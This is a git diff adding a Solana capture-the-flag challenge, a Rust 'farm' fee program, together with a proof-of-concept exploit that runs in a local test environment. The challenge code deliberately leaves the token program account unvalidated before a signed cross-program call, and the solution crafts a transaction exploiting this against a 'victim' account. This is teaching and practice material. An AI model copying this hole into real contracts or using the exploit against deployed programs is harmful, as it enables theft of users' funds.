diff --git a/ctf/.vscode/tasks.json b/ctf/.vscode/tasks.json new file mode 100644 index 0000000..fb2766d --- /dev/null +++ b/ctf/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "run poc", + "type": "cargo", + "command": "run", + "args": [ + "--bin", + "poc" + ], + "group": "build", + "env": { + "RUST_BACKTRACE": "1" + }, + "dependsOn": [ + "build contracts" + ] + }, + { + "label": "build contracts", + "type": "cargo", + "command": "build-bpf", + "args": [ + "--workspace" + ], + "env": { + "RUST_BACKTRACE": "1" + }, + "group": "build", + } + ] +} \ No newline at end of file diff --git a/ctf/Cargo.toml b/ctf/Cargo.toml new file mode 100644 index 0000000..bd6be8d --- /dev/null +++ b/ctf/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "ctf-solana-farm" +version = "0.1.0" +authors = ["lowprivuser"] +repository = "https://github.com/solana-labs/solana" +license = "Apache-2.0" +homepage = "https://solana.com/" +edition = "2018" + +[features] +no-entrypoint = [] +test-bpf = [] + +[dependencies] +borsh = "0.9.1" +borsh-derive = "0.9.1" +solana-program = "1.7.8" +num-derive = "0.3" +num-traits = "0.2" +thiserror = "1.0" +spl-token = { version = "3.2.0", features = [ "no-entrypoint" ] } + +[dev-dependencies] +solana-program-test = "1.7.8" +solana-sdk = "1.7.8" + +[lib] +name = "ctf_solana_farm" +crate-type = ["cdylib", "lib"] diff --git a/ctf/Xargo.toml b/ctf/Xargo.toml new file mode 100644 index 0000000..1744f09 --- /dev/null +++ b/ctf/Xargo.toml @@ -0,0 +1,2 @@ +[target.bpfel-unknown-unknown.dependencies.std] +features = [] \ No newline at end of file diff --git a/ctf/src/constant.rs b/ctf/src/constant.rs new file mode 100644 index 0000000..3f1b5d3 --- /dev/null +++ b/ctf/src/constant.rs @@ -0,0 +1 @@ +pub const FARM_FEE:u64 = 5000; \ No newline at end of file diff --git a/ctf/src/error.rs b/ctf/src/error.rs new file mode 100644 index 0000000..b1b429e --- /dev/null +++ b/ctf/src/error.rs @@ -0,0 +1,45 @@ +use { + num_derive::FromPrimitive, + solana_program::{ + decode_error::DecodeError, + program_error::ProgramError + }, + thiserror::Error +}; + +#[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)] +pub enum FarmError { + #[error("AlreadyInUse")] + AlreadyInUse, + + #[error("InvalidProgramAddress")] + InvalidProgramAddress, + + #[error("SignatureMissing")] + SignatureMissing, + + #[error("InvalidFeeAccount")] + InvalidFeeAccount, + + #[error("WrongPoolMint")] + WrongPoolMint, + + #[error("This farm is not allowed yet")] + NotAllowed, + + #[error("Wrong Farm Fee")] + InvalidFarmFee, + + #[error("Wrong Creator")] + WrongCreator, +} +impl From for ProgramError { + fn from(e: FarmError) -> Self { + ProgramError::Custom(e as u32) + } +} +impl DecodeError for FarmError { + fn type_of() -> &'static str { + "Farm Error" + } +} \ No newline at end of file diff --git a/ctf/src/instruction.rs b/ctf/src/instruction.rs new file mode 100644 index 0000000..0fc3aa4 --- /dev/null +++ b/ctf/src/instruction.rs @@ -0,0 +1,70 @@ +#![allow(clippy::too_many_arguments)] + +use { + borsh::{BorshDeserialize, BorshSchema, BorshSerialize}, + solana_program::{ + instruction::{AccountMeta, Instruction}, + pubkey::Pubkey, + }, +}; + +#[repr(C)] +#[derive(Clone, Debug, PartialEq, BorshSerialize, BorshDeserialize, BorshSchema)] +pub enum FarmInstruction { + /// Initializes a new Farm. + /// These represent the parameters that will be included from client side + /// [w] - writable (account), [s] - signer (account), [] - readonly (account) + /// + /// 0. `[w]` farm account + /// 1. `[]` farm authority + /// 2. `[s]` farm creator + /// 3. nonce + Create { + #[allow(dead_code)] + /// nonce + nonce: u8, + }, + + /// Creator has to pay a fee to unlock the farm + /// + /// 0. `[w]` farm account + /// 1. `[]` farm authority + /// 2. `[s]` farm creator + /// 4. `[]` farm creator token account + /// 5. `[]` fee vault + /// 6. `[]` token program id + /// 7. `[]` farm program id + /// 8. `[]` amount + PayFarmFee( + // farm fee + u64 + ), +} + +/// you can use this helper function to create the PayFarmFee instruction in your client +/// see PayFarmFee enum variant above for account breakdown +/// please note [amount] HAS TO match the farm fee, otherwise your transaction is going to fail +pub fn ix_pay_create_fee( + farm_id: &Pubkey, + authority: &Pubkey, + creator: &Pubkey, + creator_token_account: &Pubkey, + fee_vault: &Pubkey, + token_program_id: &Pubkey, + farm_program_id: &Pubkey, + amount: u64, +) -> Instruction { + let accounts = vec![ + AccountMeta::new(*farm_id, false), + AccountMeta::new_readonly(*authority, false), + AccountMeta::new(*creator, true), + AccountMeta::new(*creator_token_account, false), + AccountMeta::new(*fee_vault, false), + AccountMeta::new_readonly(*token_program_id, false), + ]; + Instruction { + program_id: *farm_program_id, + accounts, + data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(), + } +} \ No newline at end of file diff --git a/ctf/src/lib.rs b/ctf/src/lib.rs new file mode 100644 index 0000000..708b4b8 --- /dev/null +++ b/ctf/src/lib.rs @@ -0,0 +1,35 @@ +use solana_program::{ + account_info::{ AccountInfo}, + entrypoint, + entrypoint::ProgramResult, + program_error::PrintProgramError, + pubkey::Pubkey, +}; + +pub mod error; +pub mod instruction; +pub mod processor; +pub mod state; +pub mod constant; + +// this registers the program entrypoint +entrypoint!(process_instruction); + +/// this is the program entrypoint +/// this function ALWAYS takes three parameters: +/// the ID of this program, array of accounts and instruction data +pub fn process_instruction( + program_id: &Pubkey, + accounts: &[AccountInfo], + _instruction_data: &[u8], +) -> ProgramResult { + // process the instruction + if let Err(error) = processor::Processor::process(program_id, accounts, _instruction_data) { + // revert the transaction and print the relevant error to validator log if processing fails + error.print::(); + Err(error) + } else { + // otherwise return OK + Ok(()) + } +} diff --git a/ctf/src/processor.rs b/ctf/src/processor.rs new file mode 100644 index 0000000..43d3189 --- /dev/null +++ b/ctf/src/processor.rs @@ -0,0 +1,182 @@ +use { + crate::{ + error::FarmError, + instruction::{ + FarmInstruction + }, + state::{ + Farm, + }, + constant::{ + FARM_FEE, + }, + }, + borsh::{BorshDeserialize, BorshSerialize}, + num_traits::FromPrimitive, + solana_program::{ + instruction::{ + AccountMeta, + Instruction + }, + account_info::{ + next_account_info, + AccountInfo, + }, + borsh::try_from_slice_unchecked, + decode_error::DecodeError, + entrypoint::ProgramResult, + msg, + program::invoke_signed, + program_error::PrintProgramError, + program_error::ProgramError, + program_pack::Pack, + pubkey::Pubkey, + }, + spl_token::{ + instruction::TokenInstruction, + state::Account as TokenAccount + } +}; + +pub struct Processor {} +impl Processor { + /// this is the instruction data router + pub fn process(program_id: &Pubkey, accounts: &[AccountInfo], input: &[u8]) -> ProgramResult { + let instruction = FarmInstruction::try_from_slice(input)?; + + // here we route the data based on instruction type + match instruction { + // pay the farm fee + FarmInstruction::PayFarmFee(amount) => { + Self::process_pay_farm_fee(program_id, accounts, amount) + }, + + // otherwise return an error + _ => Err(FarmError::NotAllowed.into()) + } + } + + /// this function handles farm fee payment + /// by default, farms are not allowed (inactive) + /// farm creator has to pay 5000 tokens to enable the farm + pub fn process_pay_farm_fee( + program_id: &Pubkey, + accounts: &[AccountInfo], + amount: u64, + ) -> ProgramResult { + let account_info_iter = &mut accounts.iter(); + + let farm_id_info = next_account_info(account_info_iter)?; + let authority_info = next_account_info(account_info_iter)?; + let creator_info = next_account_info(account_info_iter)?; + let creator_token_account_info = next_account_info(account_info_iter)?; + let fee_vault_info = next_account_info(account_info_iter)?; + let token_program_info = next_account_info(account_info_iter)?; + let mut farm_data = try_from_slice_unchecked::(&farm_id_info.data.borrow())?; + + if farm_data.enabled == 1 { + return Err(FarmError::AlreadyInUse.into()); + } + + if !creator_info.is_signer { + return Err(FarmError::SignatureMissing.into()) + } + + if *creator_info.key != farm_data.creator { + return Err(FarmError::WrongCreator.into()); + } + + if *authority_info.key != Self::authority_id(program_id, farm_id_info.key, farm_data.nonce)? { + return Err(FarmError::InvalidProgramAddress.into()); + } + + if amount != FARM_FEE { + return Err(FarmError::InvalidFarmFee.into()); + } + + let fee_vault_owner = TokenAccount::unpack_from_slice(&fee_vault_info.try_borrow_data()?)?.owner; + + + if fee_vault_owner != *authority_info.key { + return Err(FarmError::InvalidFeeAccount.into()) + } + + Self::token_transfer( + farm_id_info.key, + token_program_info.clone(), + creator_token_account_info.clone(), + fee_vault_info.clone(), + creator_info.clone(), + farm_data.nonce, + amount + )?; + + farm_data.enabled = 1; + + farm_data + .serialize(&mut *farm_id_info.data.borrow_mut()) + .map_err(|e| e.into()) + } + + /// this function validates the farm authority address + pub fn authority_id( + program_id: &Pubkey, + my_info: &Pubkey, + nonce: u8, + ) -> Result { + Pubkey::create_program_address(&[&my_info.to_bytes()[..32], &[nonce]], program_id) + .or(Err(FarmError::InvalidProgramAddress)) + } + + /// this function facilitates token transfer + pub fn token_transfer<'a>( + pool: &Pubkey, + token_program: AccountInfo<'a>, + source: AccountInfo<'a>, + destination: AccountInfo<'a>, + authority: AccountInfo<'a>, + nonce: u8, + amount: u64, + ) -> Result<(), ProgramError> { + let pool_bytes = pool.to_bytes(); + let authority_signature_seeds = [&pool_bytes[..32], &[nonce]]; + let signers = &[&authority_signature_seeds[..]]; + + let data = TokenInstruction::Transfer { amount }.pack(); + + let mut accounts = Vec::with_capacity(4); + accounts.push(AccountMeta::new(*source.key, false)); + accounts.push(AccountMeta::new(*destination.key, false)); + accounts.push(AccountMeta::new_readonly(*authority.key, true)); + + let ix = Instruction { + program_id: *token_program.key, + accounts, + data, + }; + + invoke_signed( + &ix, + &[source, destination, authority, token_program], + signers, + ) + } +} + +impl PrintProgramError for FarmError { + fn print(&self) + where + E: 'static + std::error::Error + DecodeError + PrintProgramError + FromPrimitive, + { + match self { + FarmError::AlreadyInUse => msg!("Error: account already in use"), + FarmError::InvalidProgramAddress => msg!("Error: the program address provided doesn't match the value generated by the program"), + FarmError::SignatureMissing => msg!("Error: signature missing"), + FarmError::InvalidFeeAccount => msg!("Error: fee vault mismatch"), + FarmError::WrongPoolMint => msg!("Error: pool mint incorrect"), + FarmError::NotAllowed => msg!("Error: farm not allowed"), + FarmError::InvalidFarmFee => msg!("Error: farm fee incorrect. should be {}",FARM_FEE), + FarmError::WrongCreator => msg!("Error: creator mismatch"), + } + } +} diff --git a/ctf/src/state.rs b/ctf/src/state.rs new file mode 100644 index 0000000..1048965 --- /dev/null +++ b/ctf/src/state.rs @@ -0,0 +1,19 @@ +#![allow(clippy::too_many_arguments)] +use { + borsh::{BorshDeserialize, BorshSchema, BorshSerialize}, + solana_program::{ + pubkey::{Pubkey}, + }, +}; + +#[repr(C)] +#[derive(Clone, Debug, Default, PartialEq, BorshDeserialize, BorshSerialize, BorshSchema)] +/// this structs describes a Farm +/// all farms are disabled by default +pub struct Farm { + pub enabled: u8, + pub nonce: u8, + pub token_program_id: Pubkey, + pub creator: Pubkey, + pub fee_vault: Pubkey, +} \ No newline at end of file diff --git a/solution/Cargo.toml b/solution/Cargo.toml new file mode 100644 index 0000000..166241b --- /dev/null +++ b/solution/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "poc_solana" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +solana-program = "1.8.2" +borsh = "0.9.1" +borsh-derive = "0.9.1" +spl-token = { version = "*", features = ["no-entrypoint"] } +owo-colors = "3.1.0" +solana-logger = "1.8.2" +poc-framework = { version = "0.1.2" } +ctf-solana-farm = { path = "../ctf", features = ["no-entrypoint"] } diff --git a/solution/src/bin/main.rs b/solution/src/bin/main.rs new file mode 100644 index 0000000..576545b --- /dev/null +++ b/solution/src/bin/main.rs @@ -0,0 +1,74 @@ +use std::{env, str::FromStr}; + + +use ctf_solana_farm::state::Farm; +use ctf_solana_farm::instruction::ix_pay_create_fee; +use poc_framework::{ + keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction +}; +use solana_program::{pubkey::Pubkey, native_token::sol_to_lamports}; +use borsh::BorshSerialize; + +fn main() { + setup(); +} +pub fn get_vault_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { + let (vault_address, _) = Pubkey::find_program_address( + &[&authority.to_bytes(), &"VAULT".as_bytes()], + &wallet_program, + ); + vault_address +} + + +fn setup() -> u8 { + let mut dir = env::current_exe().unwrap(); + let path = { + dir.pop(); + dir.pop(); + dir.push("deploy"); + dir.push("ctf_solana_farm.so"); + dir.to_str() + } + .unwrap(); + let program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap(); + + let farm = keypair(123); + let authority = Pubkey::create_program_address(&[&farm.pubkey().to_bytes(), &[12]], &program).unwrap(); + let victim = keypair(4); + let mint = keypair(5); + + let mut env = LocalEnvironment::builder() + .add_program(program, path) + .add_account_with_tokens(victim.pubkey(), mint.pubkey(), farm.pubkey(), sol_to_lamports(31337.0)) + .add_account_with_lamports( + authority, + program, + sol_to_lamports(100000.0)) + .build(); + + + let farm_vec = Farm { + enabled: 0, + nonce: 12, + token_program_id: program, + creator: farm.pubkey(), + fee_vault: farm.pubkey() + }; + env.create_account_with_data(&farm, farm_vec.try_to_vec().unwrap()); + env.execute_as_transaction( + &[ix_pay_create_fee( + &farm.pubkey(), + &authority, + &farm.pubkey(), + &farm.pubkey(), + &victim.pubkey(), + &program, + &program, + 5000 + )], + &[&farm]) + .print(); + + 1 +} \ No newline at end of file